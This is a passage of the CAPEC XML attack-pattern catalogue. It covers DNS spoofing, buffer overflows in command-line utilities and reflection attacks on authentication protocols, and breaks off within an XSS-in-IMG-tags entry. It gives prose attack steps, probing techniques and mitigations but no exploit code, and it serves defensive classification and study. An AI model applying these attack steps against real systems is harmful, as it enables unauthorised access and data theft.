				<Text>Except having enough knowledge of the way the targeted site has been
					structured in order to create a fake version, no additional resources are
					required. Poisoning the resolver requires knowledge of a vulnerability that can
					be exploited.</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>The attacker observes the targeted website for use of secure
							connection to exchange sensitive information. If it does not use secure
							connections, victim users cannot distinguish between the original and
							fake versions of the website.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>The attacker can also fingerprint the software running on the targeted
							system (DNS server, router or host) and look for vulnerabilities in
							order to poison the entries.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>All sensitive infomation must be handled over a secure connection.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Known vulnerabilities in DNS or router software or in operating systems
						must be patched as soon as a fix has been released and tested.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>End users must ensure that they provide sensitive information only to
						websites that they trust, over a secure connection with a valid certificate
						issued by a well-known certificate authority.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>346<!--Origin Validation Error--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>247<!--Reliance on DNS Lookups in a Security Decision--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>292<!--Trusting Self-reported DNS Name--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2005-0877</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>Dnsmasq before 2.21 allows remote attackers to poison the DNS cache
							via answers to queries that were not made by Dnsmasq.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2004-1754</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>The DNS proxy (DNSd) for multiple Symantec Gateway Security products
							allows remote attackers to poison the DNS cache via a malicious DNS
							server query response that contains authoritative or additional
							records.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>151<!--Identity Spoofing (Impersonation)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>161<!--Infrastructure Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance To Trust</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Promoting Privacy</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Use Authentication Mechanisms, Where Appropriate, Correctly</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Use Well-Known Cryptography Appropriately and Correctly</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Reconnaissance</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Chiradeep B. Chhaya</Submitter>
						<Submission_Date>2007-03-12</Submission_Date>
						<Submission_Comment>First Draft</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-16</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="9" Name="Buffer Overflow in Local Command-Line Utilities"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack targets command-line utilities available in a number of
						shells. An attacker can leverage a vulnerability found in a command-line
						utility to escalate privilege to root.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Attacker identifies command utilities exposed by
												the target host.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>On the probing stage, the attacker interacts with
												the command utility and observes the results of its
												input. The attacker's goal is to uncover a buffer
												oveflow in the command utility. For instance the
												attacker may find that input data are not properly
												validated.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker finds a buffer overflow vulnerability
												in the command utility and tries to exploit it. He
												crafts malicious code and injects it using the
												command utility. The attacker can at worst execute
												remote code on the target host.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target host exposes a command-line utility to the user.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The command-line utility exposed by the target host has a buffer overflow
						vulnerability that can be exploited.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Block>
							<Text_Title>Attack Example: HPUX passwd</Text_Title>
							<Text>A buffer overflow in the HPUX passwd command allows local users to
								gain root privileges via a command-line option.</Text>
						</Block>
						<Block>
							<Text_Title>Attack Example: Solaris getopt</Text_Title>
							<Text>A buffer overflow in Solaris's getopt command (found in libc)
								allows local users to gain root privileges via a long
								argv[0].</Text>
						</Block>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>An attacker can simply overflow a buffer by inserting a long string
							into an attacker-modifiable injection vector. The result can be a
							DoS.</Text>
						<Text>High : Exploiting a buffer overflow to inject malicious code into the
							stack of a software system or even the heap can require a higher skill
							level.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>The attacker can probe for services available on the target host. Many
							services may expose a command utility. For instance Telnet is a service
							which can be invoked through a command shell.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Carefully review the service's implementation before making it available
						to user. For instance you can use manual or automated code review to uncover
						vulnerabilities such as buffer overflow.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use a language or compiler that performs automatic bounds checking.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use an abstraction library to abstract away risky APIs. Not a complete
						solution.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Compiler-based canary mechanisms such as StackGuard, ProPolice and the
						Microsoft Visual Studio /GS flag. Unless this provides automatic bounds
						checking, it is not a complete solution.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Operational: Use OS-level preventative functionality. Not a complete
						solution.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Apply the latest patches to your user exposed services. This may not be a
						complete solution, specially against zero day attack.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Do not unnecessarily expose services.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>The user supplied data.</Text>
			</Injection_Vector>
			<Payload>
				<Text>The buffer overrun by the attacker.</Text>
			</Payload>
			<Activation_Zone>
				<Text>When the function returns control to the main program, it jumps to the return
					address portion of the stack frame. Unfortunately that return address may have
					been overwritten by the overflowed buffer and the address may contain a call to
					a privileged command or to a malicious code.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>The most common is remote code execution.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>120<!--Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>118<!--Improper Access of Indexable Resource ('Range Error')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>119<!--Improper Restriction of Operations within the Bounds of a Memory Buffer--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>680<!--Integer Overflow to Buffer Overflow--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>733<!--Compiler Optimization Removal or Modification of Security-critical Code--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>100<!--Overflow Buffers--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>10<!--Buffer Overflow via Environment Variables--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to trust</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Defense in Depth</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Least Privilege</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Bound checking should be performed when copying data to a buffer.</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Buffer Errors</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eric Dalci</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-13</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Attack
							Execution Flow, Probing Techniques and Method of
							Attack</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="90" Name="Reflection Attack in Authentication Protocol"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker can abuse an authentication protocol susceptible to reflection
						attack in order to defeat it. Doing so allows the attacker illegitimate
						access to the target system, without possessing the requisite
						credentials.</Text>
					<Text>Reflection attacks are of great concern to authentication protocols that
						rely on a challenge-handshake or similar mechanism. An attacker can
						impersonate a legitimate user and can gain illegitimate access to the system
						by successfully mounting a reflection attack during authentication.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker opens a connection to the target
												server and sends it a challenge</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The server responds by returning the challenge
												encrypted with a shared secret as well as its own
												challenge to the attacker</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Since the attacker does not possess the shared
												secret, he initiates a second connection to the
												server and sends it, as challenge, the challenge
												received from the server on the first
												connection</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="4">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The server treats this as just another handshake
												and responds by encrypting the challenge and issuing
												its own to the attacker</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="5">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker now receives the encrypted challenge
												on the second connection and sends it as response to
												the server on the first connection, thereby
												successfully completing the handshake and
												authenticating to the server.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The attacker must have direct access to the target server in order to
						successfully mount a reflection attack. An intermediate entity, such as a
						router or proxy, that handles these exchanges on behalf of the attacker
						inhibits the attacker's ability to attack the authentication
						protocol.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation>
					<Text>Authentication is usually used as a means to identify and grant access to
						the user. If the authentication protocol can be defeated, in this instance
						by a reflection attack, authentication serves no purpose in identifying the
						legitimate users of the system from the ilegitimate ones</Text>
				</Explanation>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
				<Method_of_Attack>Spoofing</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>A single sign-on solution for a network uses a fixed pre-shared key
							with its clients to initiate the sign-on process in order to avoid
							eavesdropping on the initial exchanges.</Text>
						<Text>An attacker can use a reflection attack to mimic a trusted client on
							the network to participate in the sign-on exchange.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker needs to have knowledge of observing the protocol
							exchange and managing the required connections in order to issue and
							respond to challenges</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>All that the attacker requires is a means to observe and understand the
					protocol exchanges in order to reflect the challenges appropriately.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>The server must initiate the handshake by issuing the challenge. This
						ensures that the client has to respond before the exchange can move any
						further</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>The use of HMAC to hash the response from the server can also be used to
						thwart reflection. The server responds by returning its own challenge as
						well as hashing the client's challenge, its own challenge and the preshared
						secret. Requiring the client to respond with the HMAC of the two challenges
						ensures that only the possessor of a valid preshared secret can successfully
						hash in the two values.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Introducing a random nonce with each new connection ensures that the
						attacker can not employ two connections to attack the authentication
						protocol</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>301<!--Reflection Attack in an Authentication Protocol--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>303<!--Incorrect Implementation of Authentication Algorithm--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>718<!--OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>220<!--Client-Server Protocol Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>204<!--Lifting cached, sensitive data embedded in client distributions (thick or thin)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>114<!--Authentication Abuse--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance To Trust</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Complete Mediation</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Defense in Depth</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Use Authentication Mechanisms, Where Appropriate, Correctly</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Chiradeep B. Chhaya</Submitter>
						<Submission_Date>2007-03-13</Submission_Date>
						<Submission_Comment>First Draft</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-16</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="91" Name="XSS in IMG Tags" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>Image tags are an often overlooked, but convenient, means for a Cross Site
						Scripting attack. The attacker can inject script contents into an image
						(IMG) tag in order to steal information from a victim's browser and execute
						malicious scripts.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Spider</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using a browser , an attacker is looking at the
												application to figure out if it allows to specify
												images, upload them, etc.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a browser to manually explore the
												website and identify entry points where the
												application allows the upload (or other means of
												specification) of images. Many browsers' plugins
												are available to facilitate the analysis or
												automate the discovery.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The application has image upload
												functionality.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>The application allows users to point to or
												otherwise specify images.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Inconclusive">
												<Indicator_Description>
												<Text>No parameters appear to be used on the
												current page. Even though none appear, the web
												application may still use them if they are
												provided.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Negative">
												<Indicator_Description>
												<Text>Applications that have only static pages or
												that simply present information without accepting
												input are unlikely to be susceptible.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list entry points where
												images can be specified.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Do not allow user
												upload or specification of
												images</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Proceed to a temporary
												account lockout when the user does too many
												suspicious attempts using image
												upload.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Probe identified potential entry points
											for XSS vulnerability</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker uses the entry points gathered in the
												"Explore" phase as a target list and injects various
												common script payloads to determine if an entry
												point actually represents a vulnerability and to
												characterize the extent to which the vulnerability
												can be exploited.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Manually inject various script payloads into
												each identified entry point using a list of common
												script injection probes that typically work in a
												client-side non-script elements context and
												observe system behavior to determine if script was
												executed.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use an automated injection attack tool to
												inject various script payloads into each
												identified entry point using a list of common
												script injection probes that typically work in a
												client-side non-script elements context and
												observe system behavior to determine if script was
												executed.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
